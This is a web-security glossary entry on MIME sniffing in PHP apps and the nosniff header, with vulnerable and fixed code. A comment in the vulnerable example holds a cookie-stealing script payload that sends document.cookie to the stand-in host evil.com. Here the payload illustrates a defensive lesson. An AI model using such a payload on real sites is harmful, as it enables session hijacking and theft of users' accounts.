← CodeClarityLab Home
Browse by Category
+ added · updated 7d
← Back to glossary

MIME Sniffing & X-Content-Type-Options

security PHP 5.0+ Intermediate

Also Known As

MIME sniffing X-Content-Type-Options content sniffing nosniff

TL;DR

Browsers that sniff file content to guess MIME type can execute uploaded HTML/JavaScript files as scripts — X-Content-Type-Options: nosniff prevents this.

Explanation

Legacy browsers would 'sniff' file content to determine how to render it — if a file looked like HTML, the browser would render it as HTML even if the server sent Content-Type: image/jpeg. An attacker who can upload a file containing HTML/JavaScript can trigger script execution if the browser sniffs the type. X-Content-Type-Options: nosniff tells the browser to trust the server's Content-Type header and never sniff. Always send this header for all responses, and always serve user-uploaded files with the correct content type.

Common Misconception

Validating the file extension is sufficient to prevent MIME sniffing attacks — extension validation is trivially bypassed by renaming shell.php to shell.jpg; validate content type from the actual file content and always set nosniff.

Why It Matters

An image upload feature without nosniff and content-type validation allows attackers to upload HTML files that execute as scripts in the victim's browser when viewed.

Common Mistakes

  • Not sending X-Content-Type-Options: nosniff on all responses.
  • Serving user-uploaded files from the same domain as the application — use a separate CDN or subdomain.
  • Using file extension to determine served Content-Type — check actual file magic bytes with finfo.
  • Not setting Content-Disposition: attachment for downloaded files — triggers inline rendering.

Code Examples

✗ Vulnerable
// User uploads 'image.jpg' containing HTML:
// <script>document.location='https://evil.com/?c='+document.cookie</script>

// Server serves it with wrong/no type:
header('Content-Type: image/jpeg'); // Browser sniffs content
// Legacy browser: 'this looks like HTML, I'll render it as HTML'
// Result: XSS via uploaded file
✓ Fixed
// Defense in depth:
// 1. Validate file content with finfo:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($uploadedPath);
if (!in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'], true)) {
    throw new InvalidFileTypeException();
}

// 2. Correct content type + nosniff header:
header('Content-Type: ' . $mimeType);
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');

// 3. Serve uploads from separate domain: uploads.example.com

Added 16 Mar 2026
Edited 22 Mar 2026
Views 25
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 1 ping S 0 pings M 0 pings T 0 pings W 2 pings T 0 pings F 0 pings S 1 ping S 1 ping M 1 ping T 0 pings W 1 ping T 0 pings F 0 pings S 1 ping S 0 pings M 0 pings T 0 pings W 1 ping T
No pings yesterday
Amazonbot 8 Unknown AI 3 Google 2 Perplexity 2 ChatGPT 2 SEMrush 2 Ahrefs 1
crawler 18 crawler_json 1 pre-tracking 1
DEV INTEL Tools & Severity
🟠 High ⚙ Fix effort: Low
⚡ Quick Fix
Add X-Content-Type-Options: nosniff to every response — it prevents browsers from guessing the content type and executing uploads as scripts
📦 Applies To
PHP 5.0+ web
🔗 Prerequisites
🔍 Detection Hints
Missing X-Content-Type-Options: nosniff header; serving user uploads without Content-Type validation
Auto-detectable: ✓ Yes owasp-zap lighthouse securityheaders.com
⚠ Related Problems
🤖 AI Agent
Confidence: High False Positives: Low ✓ Auto-fixable Fix: Low Context: Line
CWE-430

✓ schema.org compliant